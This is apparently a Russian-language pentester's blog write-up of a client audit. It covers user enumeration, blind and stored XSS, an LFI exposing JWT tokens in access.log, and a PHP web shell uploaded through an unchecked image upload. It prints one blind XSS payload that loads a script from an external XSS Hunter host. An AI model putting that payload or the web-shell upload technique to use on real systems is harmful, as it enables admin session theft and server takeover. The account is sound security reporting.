В начале года мне написал сотрудник одной фирмы. Как я понял, в компании произошел небольшой конфликт. Из-за которого существовал риск компроментации системы каким-то из сотрудников. Решение провести аудит системы определенно было правильное. Ведь результаты проверки приятно удивили меня, и «неприятно» удивили заказчика.

Архитетура системы в принципе была стандартная. В основе лежал сервис аутентификации. Дальше по выданному jwt токену пользователь мог использовать функционал системы на различных поддоменах.

Тестирование ограничилось одним поддоменом. Но самым основым по мнению заказчиков. Не буду рассказывать в деталях все ошибки и проблемы. Их было обнаружено много. Я лишь опишу те, которые для меня показались самыми любопытными.

Избыточность информации при поиске пользователей

Запрос на поиск пользователей позволял получать набор информации следующего характера — userID, Name, Login, avatar…

Без особых проблем можно было собрать всю базу Login_name пользователей. Особых ограничений в функционале login так же небыло. Дальше можно было подбирать пароль в несколько потоков или выполнить точечный фишинг на наиболее важных пользователей системы.

Blind XSS в обращении за поддержкой от пользователя.

У меня сложилось впечатление, что данная проблема присуствует в 90% систем с которыми я сталкиваюсь. Ко мне ранее неоднократно прилетали «отстуки» от платформ для агрегации отзывов. Так же прилетали доступы к системам мониторинга поведения пользователей в интернете. Много всего было. При этом мало кто понимает на сколько это может быть опасно. Конкретно об этом уязвимости писали тут.
В данному случае я убедился в работоспособности атаки случайно получив уведомление от XSS Hunter. Вектор атаки был следующий:

"><script src=https://sa.xss.ht></script>

Но заказчик не верил что я смогу получить контроль панели администратора через данный вектор атаки. Ведь вся ценная информация хранится в local storage. Т.к XSS Hunter не поддерживает получение local storage информации, пришлось развернуть собственный XSS логер. Очень помогла следующая публикация. В результате повторной атаки удалось убедиться, что jwt token администратора системы легко может быть получен злоумышленниом даже из local storage.


Ну а дальше с правами администратора в системе можно делать все, что угодно.

Stored XSS в электронном письме.

В системе был обнаружен функционал позволяющий делать оформленные email приглашения для регистрации новых пользователей. В форму письма можно было вставить Имя человека. Чтобы email был более персональным. В результате все содержимое не экранировалось и попадало в письмо. Для того чтобы провернуть подобную успешную xss атаку через письмо — надо знать email клиент жертвы, и надо знать zero day xss для данного клиента. В общем, успешность данной атаки по определению была ничтожна. До момента, когда я обнаружил любопытную кнопочку в верхнем углу письма.



Это была возможность открыть web версию письма. И вот тут меня ждал сюрприз. Моя XSS сработала. При этом веб версия письма открывалась на поддомене admin.*.com



Двойное удивление так сказать.

Доступный файл access.log

В процессе аудита я нашел интересное место. При попадании разных симоволов в запрос — в ответ от сервера прилетало 404. Но периодически ответ 404 немного отличался от предыдущего. Иногда был дополнительный header. Иногда нет. Определенная мутация ответов системы натолкнула меня на мысль проверить в этом месте локальное включение файлов (LFI). Настроил lfi словарь и стал ждать когда система вернет ответы на все мои запросы. В результате при просмотре результатов теста я был сильно удивлен ответу со статусом 200 с весьма увесистым размером переданных данных.



Оказалось, что я обнаружил доступный на чтение файл access.log. В данном файле записывалась вся активность на сервере. В том числе в данном файле можно было обнаружить jwt токены пользователей.


Expiration time этих токенов был достаточно большой. И это тоже было не очень хорошо.

Полный web-shell доступ к серверу

В принципе все описанные выше — проблемы доволно распространенные. Но определенные типы уязвимостей встретить уже достаточно сложно. Речь о доступе к серверу через аккуратно загруженный код в файлике shell.php. После которого получаются скомпроментированны все проекты находящиеся на этом сервере. О подобной проблеме в 2016 году писал Bo0oM в своем блоге.
Но вернемся к моему примеру. В системе была возможность делать публикации. При этом к публикации можно было загрузить картинку. Картинка сохранялась на том же домене. Но у файла принудительно менялось имя. Т.е вы загружаете — mypicture.jpg. А вот в результате получаете 12345.jpg. Я решил проверить, а что будет если я передам файлик xml (на тот момент я видимо мечтал встретить XXE). И на мое удивление получил ответ 123556.xml. И тут я понял, что есть 99% шансов на успех с php расширением файла для web shell. Для этой атаки я использовал b374k shell. При прямом обращении к файлу — я получил то, что хотел. Доступ к директориям сервера.



Но это было не самое печальное. Самое печальное оказалось в том, что через данную уязвимость можно было скомпроментировать более 10 проектов, которые находились в корневой директории этого сервера.



Мой приятель cyberpunkyc сказал, что подобное можно было встретить в году 2007-2010. Увы на дворе 2019. А подобная проблема существует по сей день.

В результате тестирования, заказчик был сильно удивлен результатами. А я был сильно рад, что оказался очень полезен при проведении тестирования. Если у вас есть предложения с интересными проектами — смело пишите мне в телеграм ;)